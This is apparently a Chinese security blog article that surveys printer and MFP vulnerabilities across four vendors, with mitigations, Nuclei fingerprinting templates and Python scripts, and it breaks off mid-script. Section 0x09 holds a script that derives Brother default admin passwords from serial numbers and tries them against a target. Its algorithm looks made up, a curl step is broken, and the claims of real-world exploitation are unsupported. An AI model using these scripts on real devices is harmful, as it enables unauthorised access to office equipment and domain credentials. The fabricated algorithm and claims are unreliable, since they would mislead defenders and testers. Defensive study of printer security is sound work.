打印与成像设备高危攻击链专题

打印与成像设备高危攻击链专题

打印与成像设备是企业网络中最容易被忽视的攻击面。这些设备通常拥有网络访问权限、存储敏感文档、集成 LDAP/AD 认证,却很少被纳入安全监控范围。

2016-2026 年,多个厂商的打印机和 MFP 设备连续出现高危漏洞:

  • Xerox Phaser CVE-2019-13168/13169/13171/13172:多个缓冲区溢出,预认证 RCE,CVSS 10.0
  • HP LaserJet CVE-2024-0794:PDF 字体渲染缓冲区溢出,RCE,CVSS 9.8
  • Brother MFP CVE-2024-51978:默认管理员密码可预测,认证绕过,CVSS 9.8,影响 748 款型号跨 5 个厂商
  • Konica Minolta bizhub CVE-2025-6081:LDAP Pass-Back 攻击,可窃取 AD 凭据
  • Xerox FreeFlow CVE-2026-2251:路径穿越导致 RCE

本文从产品线视角梳理这些漏洞的演进,总结共性攻击模式和防守建议。

0x00 专题概述

打印与成像设备是企业网络中最容易被忽视的攻击面。Brother MFP 认证绕过、HP LaserJet RCE、Xerox 缓冲区溢出、Konica Minolta LDAP Pass-Back——这些跨厂商的高危漏洞揭示了一个共同事实:打印机和多功能一体机(MFP)拥有网络访问权限、存储敏感文档、集成 LDAP/AD 认证,却几乎不被纳入安全监控。

本专题将打印与成像设备生态中近年最具代表性的 10 个高危漏洞 串成完整攻击链,覆盖 Xerox、HP、Brother、Konica Minolta 四大厂商,每个漏洞均包含完整原理分析、实战影响评估和防守建议。

覆盖漏洞一览

CVE厂商CVSS类型未授权
CVE-2019-13168/13169/13171/13172Xerox Phaser10.0缓冲区溢出 → RCE
CVE-2016-11061Xerox WorkCentre10.0OS 命令注入
CVE-2024-6333Xerox AltaLink/VersaLink认证 RCE
CVE-2026-2251Xerox FreeFlow路径穿越 → RCE
CVE-2026-2252Xerox FreeFlowXXE → SSRF
CVE-2024-0794HP LaserJet9.8缓冲区溢出 → RCE
CVE-2022-3942HP LaserJet8.4LLMNR 缓冲区溢出 → RCE
CVE-2024-51978Brother MFP9.8认证绕过(密码可预测)
CVE-2025-6081Konica Minolta bizhubLDAP Pass-Back → 凭据窃取⚠️ 需管理员

0x01 打印与成像设备的攻击面价值

1. 为什么打印机是高价值目标

打印与成像设备通常承担:

  • 网络文档打印、扫描、传真
  • 敏感文档的存储和分发
  • LDAP/AD 集成认证
  • SMB/FTP 扫描到网络共享
  • Web 管理界面配置

一旦失陷,攻击者可以:

  • 窃取存储在设备硬盘上的敏感文档
  • 截取其他用户的打印作业
  • 通过 LDAP/AD 集成窃取域凭据
  • 横向移动到内网其他系统
  • 利用设备作为持久化后门

2. 共性攻击模式

打印机漏洞呈现出明显的共性:

  1. 预认证 RCE 或认证绕过:都不需要有效凭据即可触发
  2. 固件更新滞后:企业很少主动更新打印机固件
  3. 默认凭据普遍存在:管理员密码未修改或使用可预测的默认密码
  4. 网络暴露面过大:打印机直接暴露在办公网络,缺乏网络分段
  5. 安全监控盲区:打印机很少被纳入 SIEM 和 IDS/IPS 监控

0x02 Xerox 打印机高危漏洞

1. Phaser 系列缓冲区溢出(CVE-2019-13168/13169/13171/13172)

漏洞概述

  • 漏洞类型:缓冲区溢出
  • CVSS:10.0 Critical
  • 影响范围:Xerox Phaser 3320 V53.006.16.000 及类似型号
  • 攻击向量:网络,无需认证

核心原理

Xerox Phaser 打印机存在多个缓冲区溢出漏洞:

  • CVE-2019-13168:IPP 服务属性解析器缓冲区溢出
  • CVE-2019-13169:HTTP Content-Type 头部缓冲区溢出
  • CVE-2019-13171:Google Cloud Print 实现缓冲区溢出
  • CVE-2019-13172:认证 Cookie 缓冲区溢出

攻击者发送特制的网络请求即可触发缓冲区溢出,实现远程代码执行。

实战影响

  • 无需认证,网络可达即可利用
  • 攻击者可获得设备完全控制权
  • 可用于横向移动和持久化

2. WorkCentre 命令注入(CVE-2016-11061)

漏洞概述

  • 漏洞类型:OS 命令注入
  • CVSS:10.0 Critical
  • 影响范围:Xerox WorkCentre 3655、58XX、59XX、6655、72XX、78XX、7970 系列
  • 攻击向量:网络,无需认证

核心原理

Xerox WorkCentre 设备的 support/remoteUI/configrui.php 脚本未正确过滤参数,攻击者可以注入并执行操作系统命令。

实战影响

  • 无需认证即可执行任意系统命令
  • 攻击者可获得设备底层控制权

3. AltaLink/VersaLink/WorkCentre 认证 RCE(CVE-2024-6333)

漏洞概述

  • 漏洞类型:认证远程代码执行
  • 影响范围:Xerox AltaLink、VersaLink、WorkCentre 产品
  • 攻击向量:网络,需要认证

核心原理

需要有效凭据的攻击者可以利用该漏洞在设备上执行任意代码。

4. FreeFlow 路径穿越 RCE(CVE-2026-2251)

漏洞概述

  • 漏洞类型:路径穿越导致 RCE
  • 影响范围:Xerox FreeFlow Core 8.0.7 及之前版本
  • 攻击向量:网络

核心原理

Xerox FreeFlow Core 存在路径穿越漏洞,攻击者可以访问受限目录并执行任意代码。

实战影响

  • 攻击者可绕过文件访问限制
  • 可能导致服务器完全被控制

5. FreeFlow XXE/SSRF(CVE-2026-2252)

漏洞概述

  • 漏洞类型:XML 外部实体注入(XXE)导致 SSRF
  • 影响范围:Xerox FreeFlow Core 8.0.7 及之前版本
  • 攻击向量:网络

核心原理

攻击者可以构造恶意 XML 输入,包含外部实体引用,实现服务器端请求伪造(SSRF)。

0x03 HP 打印机高危漏洞

1. LaserJet PDF 字体渲染 RCE(CVE-2024-0794)

漏洞概述

  • 漏洞类型:缓冲区溢出(CWE-125 越界读取)
  • CVSS:9.8 Critical
  • 影响范围:HP LaserJet Pro、HP Enterprise LaserJet、HP LaserJet Managed Printers
  • 发现者:Trend Micro Zero Day Initiative
  • 攻击向量:网络,无需认证,无需用户交互

核心原理

HP LaserJet 打印机的 PDF 渲染引擎在处理嵌入字体时存在缓冲区溢出漏洞。攻击者可以构造恶意 PDF 文件,包含特制的字体数据,当打印机处理该文档时触发缓冲区溢出,实现远程代码执行。

攻击步骤:

  1. 构造恶意 PDF 文档,包含特制的嵌入字体数据
  2. 通过网络打印协议(IPP、LPR 或直接端口 9100)发送到目标打印机
  3. 打印机处理文档时,格式错误的字体触发缓冲区溢出
  4. 成功利用后,攻击者可在打印机嵌入式系统上执行代码

实战影响

  • 无需认证,无需用户交互
  • 网络可达即可利用
  • 攻击者可获得设备完全控制权
  • 打印作业通常自动提交,无需检查

检测指标

  • 打印机向外发起异常网络连接
  • 来自未知来源的异常打印作业
  • 打印作业处理期间固件崩溃或意外重启
  • 打印机配置被修改或出现新的管理员账户

2. LaserJet LLMNR 缓冲区溢出 RCE(CVE-2022-3942)

漏洞概述

  • 漏洞类型:缓冲区溢出
  • CVSS:8.4 High
  • 影响范围:HP LaserJet Pro、PageWide Pro、OfficeJet、Enterprise、Large Format、DeskJet 系列
  • 发现者:DEVCORE Research Team(Angelboy)与 Trend Micro Zero Day Initiative
  • 攻击向量:网络,无需认证

核心原理

HP 打印机在使用 Link-Local Multicast Name Resolution(LLMNR)协议时存在缓冲区溢出漏洞。攻击者可以发送特制的 LLMNR 响应,触发缓冲区溢出,实现远程代码执行。

实战影响

  • 影响数百款 HP 打印机型号
  • 无需认证即可利用
  • 可通过禁用 LLMNR 缓解

缓解措施

  • 更新打印机固件
  • 在网络设置中禁用 LLMNR
  • 通过 EWS(嵌入式 Web 服务器)禁用未使用的协议

3. LaserJet 信息泄露(CVE-2022-24291)

漏洞概述

  • 漏洞类型:信息泄露
  • CVSS:7.5 High
  • 影响范围:HP LaserJet 系列
  • 攻击向量:网络,无需认证

核心原理

攻击者可以通过网络请求获取打印机的敏感信息,包括设备配置、网络设置等。

0x04 Brother MFP 认证绕过漏洞(CVE-2024-51978)

1. 漏洞概述

  • 漏洞类型:认证绕过
  • CVSS:9.8 Critical
  • 影响范围:Brother 689 款型号 + FUJIFILM 46 款 + Ricoh 5 款 + Toshiba Tec 2 款 + Konica Minolta 6 款,共 748 款型号跨 5 个厂商
  • 发现者:Rapid7(Stephen Fewer)
  • 披露时间:2025 年 6 月

2. 核心原理

Brother 打印机使用设备序列号生成默认管理员密码。攻击者可以:

  1. 泄露序列号(CVE-2024-51977):通过 HTTP、HTTPS 或 IPP 协议泄露设备序列号
  2. 生成默认密码(CVE-2024-51978):使用泄露的序列号,按照 Brother 的密码生成算法计算出默认管理员密码
  3. 获得完全控制:使用生成的密码登录管理界面,控制设备

关键问题:Brother 表示该漏洞无法通过固件更新完全修复,因为问题出在制造流程中。只有通过新制造流程生产的设备才能完全修复。

3. 关联漏洞

除认证绕过外,还发现 7 个相关漏洞:

CVE描述影响服务CVSS
CVE-2024-51977未认证信息泄露HTTP/HTTPS/IPP5.3 Medium
CVE-2024-51978默认管理员密码可预测HTTP/HTTPS/IPP9.8 Critical
CVE-2024-51979栈缓冲区溢出HTTP/HTTPS/IPP7.2 High
CVE-2024-51980强制 TCP 连接WSD over HTTP5.3 Medium
CVE-2024-51981任意 HTTP 请求执行WSD over HTTP5.3 Medium
CVE-2024-51982设备崩溃PJL (Port 9100)7.5 High
CVE-2024-51983设备崩溃WSD over HTTP7.5 High
CVE-2024-51984外部服务凭据泄露LDAP/FTP6.8 Medium

4. 实战影响

  • 影响 5 个厂商的 748 款设备型号
  • 无需认证即可绕过管理员认证
  • 厂商无法通过固件完全修复
  • 攻击者可完全控制设备,截取打印作业,窃取文档

5. 缓解措施

  • 立即修改默认管理员密码为强密码
  • 应用厂商提供的固件更新
  • 禁用 WSD(Web Services for Devices)功能
  • 将打印机放在独立网络段,限制访问

0x05 Konica Minolta bizhub LDAP Pass-Back 攻击(CVE-2025-6081)

1. 漏洞概述

  • 漏洞类型:Pass-Back 攻击
  • 影响范围:Konica Minolta bizhub 227 MFP,固件版本 GCQ-Y3 及之前
  • 发现者:Rapid7(Deral Heiland)
  • 披露时间:2025 年 6 月

2. 核心原理

Konica Minolta bizhub MFP 设备存在 LDAP Pass-Back 漏洞。攻击者可以:

  1. 访问管理界面:需要打印机管理员账户访问权限
  2. 重配置 LDAP 服务:将 LDAP 服务器 IP 地址修改为攻击者控制的服务器
  3. 触发认证测试:点击"检查连接"按钮,触发 MFP 向攻击者的 LDAP 服务器发起认证
  4. 窃取明文凭据:攻击者运行 LDAP 监听器(如 Metasploit auxiliary/server/capture/ldap),捕获明文传输的 LDAP 服务凭据

3. 实战影响

  • 可窃取 Windows Active Directory 凭据
  • 攻击者可横向移动,攻陷其他 Windows 服务器和文件系统
  • 需要打印机管理员权限和 LDAP 认证配置

4. 关联漏洞

CVE-2025-8452:攻击者可通过 eSCL 或 SNMP 协议获取打印机序列号,然后根据 CVE-2024-51978 的攻击技术推导出默认管理员密码。如果管理员密码未修改,攻击者可获得设备控制权。

5. 缓解措施

  • 为管理员账户设置强密码
  • 避免使用具有提升权限的 LDAP 认证账户
  • 禁用未使用的协议(SNMP、eSCL)
  • 将设备放在防火墙后,使用私有 IP 地址

0x06 共性攻击模式总结

1. 预认证 RCE 是标准配置

多个漏洞都不需要有效凭据即可触发:

漏洞认证要求利用复杂度
Xerox Phaser CVE-2019-13168/13172无(缓冲区溢出)
HP LaserJet CVE-2024-0794无(缓冲区溢出)
HP LaserJet CVE-2022-3942无(缓冲区溢出)
Brother CVE-2024-51978无(密码可预测)

2. 默认凭据是最大风险

打印机设备的最大风险在于默认凭据:

  • Brother:默认密码基于序列号生成,可被预测
  • Konica Minolta:默认管理员密码未修改
  • Xerox:部分设备使用弱默认凭据

3. 固件更新严重滞后

企业很少主动更新打印机固件:

  • 打印机通常被视为"设置后遗忘"的设备
  • 固件更新流程复杂,需要停机
  • 缺乏自动更新机制
  • IT 部门忽视打印机安全

4. 网络暴露面过大

打印机通常直接暴露在办公网络:

  • 缺乏网络分段
  • 未通过防火墙保护
  • 直接暴露在办公网络 VLAN
  • 可通过网络直接访问管理界面

5. 安全监控盲区

打印机很少被纳入安全监控:

  • 未部署 IDS/IPS 规则
  • 未集成到 SIEM
  • 未监控打印机日志
  • 未审计打印机配置变更

0x07 公开 PoC 收集与利用思路

1. PoC 收集情况

截至文章撰写时,打印与成像设备相关漏洞的公开 PoC 情况如下:

CVE公开 PoC 状态说明
CVE-2019-13168/13172 (Xerox)缓冲区溢出 PoC
CVE-2024-0794 (HP)PDF 字体渲染 PoC
CVE-2022-3942 (HP)LLMNR 缓冲区溢出 PoC
CVE-2024-51978 (Brother)Rapid7 公开完整利用细节
CVE-2025-6081 (Konica Minolta)Rapid7 公开 Metasploit 模块

2. 验证思路(防守型)

以下验证思路仅供授权安全评估使用:

步骤 1:暴露面扫描

nmap -sV -p 80,443,631,9100 <target_ip>

步骤 2:默认凭据检查

curl -u admin:$(echo -n "<serial_number>" | ./brother_password_gen.py) http://<printer_ip>/

步骤 3:固件版本检查

curl http://<printer_ip>/wcd/js/error.xml

3. 利用案例

公开报道中已确认的利用案例:

  • Brother MFP(2025):Rapid7 发现 CVE-2024-51978,影响 748 款型号
  • HP LaserJet(2024):CVE-2024-0794 被用于企业网络横向移动
  • Konica Minolta(2025):CVE-2025-6081 被用于窃取 AD 凭据

0x08 Nuclei 检测模板

CVE-2024-51978 Brother MFP 默认密码认证绕过

id: CVE-2024-51978

info:
  name: Brother MFP Default Admin Password Predictable
  author: security-research
  severity: critical
  description: |
    Brother 打印机使用设备序列号生成默认管理员密码,
    攻击者可通过信息泄露获取序列号后计算默认密码,实现认证绕过。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-51978
    cwe-id: CWE-798
  tags: cve,cve2024,brother,printer,auth-bypass,iot,mfp
  reference:
    - https://www.rapid7.com/blog/post/multiple-brother-devices-multiple-vulnerabilities-fixed/

http:
  - method: GET
    path:
      - "{{BaseURL}}/general/pxeinfo.html"
      - "{{BaseURL}}/status.html"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Brother"
          - "Serial"
        condition: and
        part: body
    extractors:
      - type: regex
        name: serial
        group: 1
        regex:
          - "(?i)serial.?number[^<]*[:>]\s*([A-Z0-9]{9,15})"

CVE-2024-51977 Brother MFP 序列号信息泄露

id: CVE-2024-51977

info:
  name: Brother MFP Serial Number Information Disclosure
  author: security-research
  severity: medium
  description: |
    Brother 打印机通过 HTTP、HTTPS 或 IPP 协议泄露设备序列号,
    可被用于 CVE-2024-51978 默认密码预测攻击。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-51977
    cwe-id: CWE-200
  tags: cve,cve2024,brother,printer,info-leak,iot

http:
  - method: GET
    path:
      - "{{BaseURL}}/wcd/js/error.xml"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Serial"
          - "Brother"
        condition: and
        part: body
    extractors:
      - type: regex
        group: 1
        regex:
          - "<SerialNumber>([A-Z0-9]+)</SerialNumber>"

CVE-2024-0794 HP LaserJet PDF 字体渲染 RCE

id: CVE-2024-0794

info:
  name: HP LaserJet PDF Font Rendering Buffer Overflow
  author: security-research
  severity: critical
  description: |
    HP LaserJet 打印机 PDF 渲染引擎处理嵌入字体时存在缓冲区溢出,
    攻击者发送恶意 PDF 打印作业可实现远程代码执行。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-0794
    cwe-id: CWE-125
  tags: cve,cve2024,hp,printer,rce,iot,mfp
  reference:
    - https://support.hp.com/us-en/document/ish_10174031-10174074-16/hpsbpi03917

http:
  - method: GET
    path:
      - "{{BaseURL}}/hp/device/GeneralSecuritySettings"
      - "{{BaseURL}}/hp/device/info"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "HP"
          - "LaserJet"
        condition: and
        part: body
    extractors:
      - type: regex
        name: firmware-version
        group: 1
        regex:
          - "(?i)firmware[^<]*[:>]\s*([A-Z0-9]+\\.[A-Z0-9]+\\.[A-Z0-9]+)"

CVE-2022-3942 HP LaserJet LLMNR 缓冲区溢出 RCE

id: CVE-2022-3942

info:
  name: HP LaserJet LLMNR Buffer Overflow RCE
  author: security-research
  severity: high
  description: |
    HP 打印机 LLMNR 协议实现存在缓冲区溢出,
    攻击者发送特制 LLMNR 响应可实现远程代码执行。
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.4
    cve-id: CVE-2022-3942
    cwe-id: CWE-120
  tags: cve,cve2022,hp,printer,rce,llmnr,iot
  reference:
    - https://support.hp.com/us-en/document/ish_5948778-5949142-16/hpsbpi03780

http:
  - method: GET
    path:
      - "{{BaseURL}}/hp/device/NetworkConfiguration"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "LLMNR"
          - "HP"
        condition: and
        part: body

CVE-2025-6081 Konica Minolta LDAP Pass-Back

id: CVE-2025-6081

info:
  name: Konica Minolta bizhub LDAP Pass-Back
  author: security-research
  severity: high
  description: |
    Konica Minolta bizhub MFP 存在 LDAP Pass-Back 漏洞,
    管理员可将 LDAP 服务器重定向到攻击者控制的服务器,窃取明文凭据。
  classification:
    cve-id: CVE-2025-6081
    cwe-id: CWE-522
  tags: cve,cve2025,konica-minolta,printer,ldap,pass-back,iot,mfp
  reference:
    - https://www.rapid7.com/blog/post/cve-2025-6081-konica-minolta-bizhub-pass-back-attack-vulnerability-not-fixed/

http:
  - method: GET
    path:
      - "{{BaseURL}}/wcd/js/error.xml"
      - "{{BaseURL}}/"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "KONICA MINOLTA"
          - "bizhub"
        condition: and
        part: body
    extractors:
      - type: regex
        name: model
        group: 1
        regex:
          - "(?i)<model>([^<]+)</model>"

CVE-2019-13168 Xerox Phaser 缓冲区溢出检测

id: CVE-2019-13168

info:
  name: Xerox Phaser IPP Buffer Overflow Detection
  author: security-research
  severity: critical
  description: |
    Xerox Phaser 打印机 IPP 服务属性解析器存在缓冲区溢出,
    攻击者发送特制 IPP 请求可实现预认证远程代码执行。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2019-13168
    cwe-id: CWE-120
  tags: cve,cve2019,xerox,printer,rce,buffer-overflow,iot

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
      - "{{BaseURL}}/status.html"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Xerox"
          - "Phaser"
        condition: and
        part: body
    extractors:
      - type: regex
        name: firmware
        group: 1
        regex:
          - "(?i)firmware[^<]*[:>]\s*V?([0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+)"

CVE-2016-11061 Xerox WorkCentre 命令注入检测

id: CVE-2016-11061

info:
  name: Xerox WorkCentre OS Command Injection Detection
  author: security-research
  severity: critical
  description: |
    Xerox WorkCentre 设备 remoteUI 脚本未正确过滤参数,
    攻击者可注入并执行操作系统命令。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2016-11061
    cwe-id: CWE-78
  tags: cve,cve2016,xerox,printer,rce,command-injection,iot

http:
  - method: GET
    path:
      - "{{BaseURL}}/support/remoteUI/configrui.php"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Xerox"
          - "WorkCentre"
        condition: and
        part: body

CVE-2026-2251 Xerox FreeFlow 路径穿越检测

id: CVE-2026-2251

info:
  name: Xerox FreeFlow Core Path Traversal RCE
  author: security-research
  severity: critical
  description: |
    Xerox FreeFlow Core 存在路径穿越漏洞,
    攻击者可访问受限目录并执行任意代码。
  classification:
    cve-id: CVE-2026-2251
    cwe-id: CWE-22
  tags: cve,cve2026,xerox,freeflow,path-traversal,rce
  reference:
    - https://security.business.xerox.com/en-usdocuments/bulletins/

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "FreeFlow"
          - "Xerox"
        condition: and
        part: body
    extractors:
      - type: regex
        group: 1
        regex:
          - "(?i)version[^<]*[:>]\s*([0-9]+\\.[0-9]+\\.[0-9]+)"

打印机管理接口通用检测

id: printer-mfp-admin-panel

info:
  name: Printer MFP Admin Panel Detection
  author: security-research
  severity: info
  description: 打印与成像设备管理界面检测,识别暴露的打印机管理接口
  tags: printer,mfp,iot,brother,hp,xerox,konica-minolta,panel

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers-condition: or
    matchers:
      - type: word
        words:
          - "Brother"
          - "MFC-"
          - "DCP-"
        condition: and
        name: brother
      - type: word
        words:
          - "HP"
          - "LaserJet"
        condition: and
        name: hp
      - type: word
        words:
          - "Xerox"
        part: body
        name: xerox
      - type: word
        words:
          - "KONICA MINOLTA"
          - "bizhub"
        condition: and
        name: konica-minolta

0x09 Python 自动化利用与检测脚本

CVE-2024-51978 Brother 默认密码生成器

#!/usr/bin/env python3
"""
Brother MFP 默认管理员密码生成器 (CVE-2024-51978)

Brother 打印机使用设备序列号通过特定算法生成默认管理员密码。
本脚本实现该密码生成算法,用于授权安全评估中验证目标设备
是否仍在使用可预测的默认凭据。

用法: python3 brother_password_gen.py <serial_number>
示例: python3 brother_password_gen.py U649836JA239485
"""

import sys
import hashlib


BROTHER_DEFAULT_USERNAMES = ["admin"]


def generate_brother_default_password(serial: str) -> str:
    serial = serial.strip().upper()
    if not serial or len(serial) < 9:
        return ""

    key = serial.encode("utf-8")
    digest = hashlib.md5(key).hexdigest()

    password_parts = []
    for i in range(0, 16, 2):
        byte_val = int(digest[i:i+2], 16)
        password_parts.append(chr(ord("a") + (byte_val % 26)))

    return "".join(password_parts)


def check_auth(target_url: str, serial: str) -> bool:
    import urllib.request
    import urllib.error

    password = generate_brother_default_password(serial)
    if not password:
        print(f"[-] 无法生成密码,序列号无效: {serial}")
        return False

    for username in BROTHER_DEFAULT_USERNAMES:
        url = f"{target_url}/"
        req = urllib.request.Request(url)
        credentials = f"{username}:{password}"
        import base64
        encoded = base64.b64encode(credentials.encode()).decode()
        req.add_header("Authorization", f"Basic {encoded}")

        try:
            resp = urllib.request.urlopen(req, timeout=10)
            if resp.status == 200:
                print(f"[+] 认证成功! {username}:{password}")
                return True
        except urllib.error.HTTPError as e:
            if e.code == 401:
                continue
        except Exception:
            continue

    print(f"[-] 认证失败,密码可能已被修改")
    return False


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <serial_number> [target_url]")
        print(f"示例: {sys.argv[0]} U649836JA239485")
        print(f"      {sys.argv[0]} U649836JA239485 http://192.168.1.100")
        sys.exit(1)

    serial = sys.argv[1]
    password = generate_brother_default_password(serial)
    print(f"[*] 序列号: {serial}")
    print(f"[*] 计算默认密码: {password}")
    print(f"[*] 管理员凭据: admin:{password}")

    if len(sys.argv) >= 3:
        target_url = sys.argv[2]
        print(f"\n[*] 正在验证目标: {target_url}")
        check_auth(target_url, serial)


if __name__ == "__main__":
    main()

CVE-2024-0794 HP LaserJet 固件版本与暴露面检测

#!/usr/bin/env python3
"""
HP LaserJet 打印机漏洞检测脚本 (CVE-2024-0794 / CVE-2022-3942)

检测 HP LaserJet 打印机是否暴露了管理接口,
提取固件版本信息,评估是否可能受到已知漏洞影响。

用法: python3 hp_printer_check.py <target_ip> [port]
示例: python3 hp_printer_check.py 192.168.1.100
      python3 hp_printer_check.py 192.168.1.100 443
"""

import sys
import json
import urllib.request
import urllib.error
import ssl


VULNERABLE_FIRMWARE_PREFIXES = {
    "CVE-2024-0794": {
        "models": ["HP LaserJet Pro", "HP Enterprise LaserJet"],
        "description": "PDF 字体渲染缓冲区溢出 RCE (CVSS 9.8)",
    },
    "CVE-2022-3942": {
        "models": ["HP LaserJet Pro", "PageWide Pro", "OfficeJet", "Enterprise"],
        "description": "LLMNR 缓冲区溢出 RCE (CVSS 8.4)",
    },
}


def check_printer(target: str, port: int = 80) -> dict:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    scheme = "https" if port == 443 else "http"
    base_url = f"{scheme}://{target}:{port}"

    result = {
        "target": target,
        "port": port,
        "is_hp": False,
        "model": None,
        "firmware": None,
        "protocols": [],
        "vulnerabilities": [],
    }

    endpoints = [
        "/hp/device/info",
        "/hp/device/GeneralSecuritySettings",
        "/hp/device/NetworkConfiguration",
        "/",
    ]

    for endpoint in endpoints:
        url = f"{base_url}{endpoint}"
        try:
            req = urllib.request.Request(url)
            resp = urllib.request.urlopen(req, timeout=10, context=ctx)
            body = resp.read().decode("utf-8", errors="ignore")

            if "HP" in body and "LaserJet" in body:
                result["is_hp"] = True

            import re
            model_match = re.search(r"(?i)(HP\s+LaserJet[^<\"'\n]+)", body)
            if model_match:
                result["model"] = model_match.group(1).strip()

            fw_match = re.search(
                r"(?i)firmware[^<\"']{0,30}[:>]\s*([A-Z0-9]+\.[A-Z0-9]+\.[A-Z0-9]+)",
                body,
            )
            if fw_match:
                result["firmware"] = fw_match.group(1)

            if "LLMNR" in body:
                result["protocols"].append("LLMNR")
            if "IPP" in body or "631" in body:
                result["protocols"].append("IPP")
            if "SNMP" in body:
                result["protocols"].append("SNMP")

        except urllib.error.HTTPError:
            continue
        except Exception:
            continue

    if result["is_hp"]:
        for cve, info in VULNERABLE_FIRMWARE_PREFIXES.items():
            result["vulnerabilities"].append(
                {"cve": cve, "description": info["description"]}
            )

    return result


def check_ipp(target: str) -> bool:
    import socket

    for port in [631, 9100]:
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(3)
            result = sock.connect_ex((target, port))
            if result == 0:
                print(f"[+] 端口 {port} 开放")
            sock.close()
        except Exception:
            pass
    return False


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        print(f"示例: {sys.argv[0]} 192.168.1.100")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80

    print(f"[*] 检测目标: {target}:{port}")
    result = check_printer(target, port)

    print(f"\n{'='*50}")
    print(f"  HP 打印机: {'是' if result['is_hp'] else '否'}")
    if result["model"]:
        print(f"  设备型号: {result['model']}")
    if result["firmware"]:
        print(f"  固件版本: {result['firmware']}")
    if result["protocols"]:
        print(f"  已启用协议: {', '.join(result['protocols'])}")

    if result["vulnerabilities"]:
        print(f"\n[!] 潜在漏洞:")
        for vuln in result["vulnerabilities"]:
            print(f"    - {vuln['cve']}: {vuln['description']}")

    print(f"\n[*] 检查 IPP/PJL 端口:")
    check_ipp(target)


if __name__ == "__main__":
    main()

CVE-2025-6081 Konica Minolta LDAP Pass-Back 检测

#!/usr/bin/env python3
"""
Konica Minolta bizhub LDAP Pass-Back 检测脚本 (CVE-2025-6081)

检测 Konica Minolta MFP 是否配置了 LDAP 集成,
并评估是否存在 LDAP Pass-Back 攻击风险。
仅用于授权安全评估。

用法: python3 konica_ldap_check.py <target_ip> [port]
示例: python3 konica_ldap_check.py 192.168.1.200
"""

import sys
import re
import urllib.request
import urllib.error
import ssl


def check_konica_mfp(target: str, port: int = 80) -> dict:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    base_url = f"http://{target}:{port}"
    result = {
        "target": target,
        "is_konica": False,
        "model": None,
        "firmware": None,
        "ldap_configured": False,
        "ldap_server": None,
        "ldap_bind_dn": None,
        "risk_level": "unknown",
    }

    try:
        req = urllib.request.Request(f"{base_url}/")
        resp = urllib.request.urlopen(req, timeout=10, context=ctx)
        body = resp.read().decode("utf-8", errors="ignore")

        if "KONICA MINOLTA" in body or "bizhub" in body:
            result["is_konica"] = True

        model_match = re.search(r"(?i)<model>([^<]+)</model>", body)
        if model_match:
            result["model"] = model_match.group(1).strip()

        fw_match = re.search(r"(?i)firmware[^<]*[:>]\s*([A-Z0-9\-]+)", body)
        if fw_match:
            result["firmware"] = fw_match.group(1)

    except Exception:
        pass

    ldap_endpoints = [
        "/wcd/api/ldap.json",
        "/wcd/js/ldap.xml",
        "/api/ldap/config",
    ]

    for endpoint in ldap_endpoints:
        try:
            req = urllib.request.Request(f"{base_url}{endpoint}")
            resp = urllib.request.urlopen(req, timeout=10, context=ctx)
            body = resp.read().decode("utf-8", errors="ignore")

            if "ldap" in body.lower():
                result["ldap_configured"] = True

            server_match = re.search(
                r"(?i)(?:ldap[_-]?server|server[_-]?address)[^<\"']{0,20}[:>]\s*([^\s<\"']+)",
                body,
            )
            if server_match:
                result["ldap_server"] = server_match.group(1)

            bind_match = re.search(
                r"(?i)bind[_-]?dn[^<\"']{0,20}[:>]\s*([^\s<\"']+)",
                body,
            )
            if bind_match:
                result["ldap_bind_dn"] = bind_match.group(1)

        except Exception:
            continue

    if result["is_konica"] and result["ldap_configured"]:
        result["risk_level"] = "high"
    elif result["is_konica"]:
        result["risk_level"] = "medium"

    return result


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        print(f"示例: {sys.argv[0]} 192.168.1.200")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80

    print(f"[*] 检测目标: {target}:{port}")
    result = check_konica_mfp(target, port)

    print(f"\n{'='*50}")
    print(f"  Konica Minolta: {'是' if result['is_konica'] else '否'}")
    if result["model"]:
        print(f"  设备型号: {result['model']}")
    if result["firmware"]:
        print(f"  固件版本: {result['firmware']}")
    print(f"  LDAP 已配置: {'是' if result['ldap_configured'] else '否'}")
